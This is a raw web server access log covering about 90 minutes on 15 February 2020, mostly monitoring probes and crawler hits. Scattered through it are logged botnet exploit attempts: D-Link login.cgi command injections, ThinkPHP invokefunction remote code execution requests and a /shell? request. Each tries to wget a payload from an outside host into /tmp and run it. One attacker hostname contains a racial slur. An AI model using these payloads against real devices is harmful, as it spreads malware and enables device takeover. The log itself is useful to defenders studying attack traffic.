212.91.246.72 - - [15/Feb/2020:14:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [15/Feb/2020:14:43:15 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [15/Feb/2020:14:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.38.241.55 - - [15/Feb/2020:14:46:54 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:14:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [15/Feb/2020:14:51:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [15/Feb/2020:14:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [15/Feb/2020:14:52:54 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
200.217.148.218 - - [15/Feb/2020:14:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:14:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [15/Feb/2020:14:53:45 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
59.7.155.141 - - [15/Feb/2020:14:54:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [15/Feb/2020:14:54:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [15/Feb/2020:14:54:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [15/Feb/2020:14:54:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:14:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [15/Feb/2020:14:54:54 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
59.7.155.141 - - [15/Feb/2020:14:55:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
78.188.154.216 - - [15/Feb/2020:14:55:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
222.186.19.221 - - [15/Feb/2020:14:55:30 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [15/Feb/2020:14:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [15/Feb/2020:14:55:43 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [15/Feb/2020:14:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:14:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [15/Feb/2020:15:07:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:15:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [15/Feb/2020:15:08:10 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [15/Feb/2020:15:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.15.174.3 - - [15/Feb/2020:15:09:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [15/Feb/2020:15:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.200.224.160 - - [15/Feb/2020:15:10:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:15:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.91.213.235 - - [15/Feb/2020:15:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
78.186.137.112 - - [15/Feb/2020:15:12:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [15/Feb/2020:15:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.106.200.18 - - [15/Feb/2020:15:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:15:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.79.95 - - [15/Feb/2020:15:18:16 +0100] "GET /robots.txt HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.79.93 - - [15/Feb/2020:15:18:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [15/Feb/2020:15:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.185.149.176 - - [15/Feb/2020:15:21:25 +0100] "GET /wallpaper/getTypeLi\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 320 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:15:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.181.51.78 - - [15/Feb/2020:15:24:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:15:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.239.206.197 - - [15/Feb/2020:15:29:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:15:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.17.27.187 - - [15/Feb/2020:15:32:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:15:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.193.219.42 - - [15/Feb/2020:15:33:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:15:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.154.40.19 - - [15/Feb/2020:15:43:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:15:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.80.13.233 - - [15/Feb/2020:15:45:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:15:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.240 - - [15/Feb/2020:15:47:23 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [15/Feb/2020:15:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.35.228.234 - - [15/Feb/2020:15:47:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:15:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.72.228 - - [15/Feb/2020:15:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:15:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.231.153.97 - - [15/Feb/2020:15:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:15:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [15/Feb/2020:15:54:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [15/Feb/2020:15:54:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [15/Feb/2020:15:55:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [15/Feb/2020:15:55:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.171.68.102 - - [15/Feb/2020:15:55:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:15:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [15/Feb/2020:15:55:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:15:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.128.217.99 - - [15/Feb/2020:15:57:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:15:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:15:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.153.245 - - [15/Feb/2020:15:59:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:15:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.138.241.87 - - [15/Feb/2020:16:01:33 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "Mozilla/4.0 (compatible;  Vagabondo/4.0; http://www.wise-guys.nl/)"
185.138.241.87 - - [15/Feb/2020:16:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible;  Vagabondo/4.0; http://www.wise-guys.nl/)"
212.91.246.72 - - [15/Feb/2020:16:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.101.134.178 - - [15/Feb/2020:16:02:26 +0100] "GET /wp-login.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
212.91.246.72 - - [15/Feb/2020:16:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.242.163 - - [15/Feb/2020:16:04:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:16:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [15/Feb/2020:16:06:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [15/Feb/2020:16:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
101.161.97.111 - - [15/Feb/2020:16:10:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:16:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:16:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
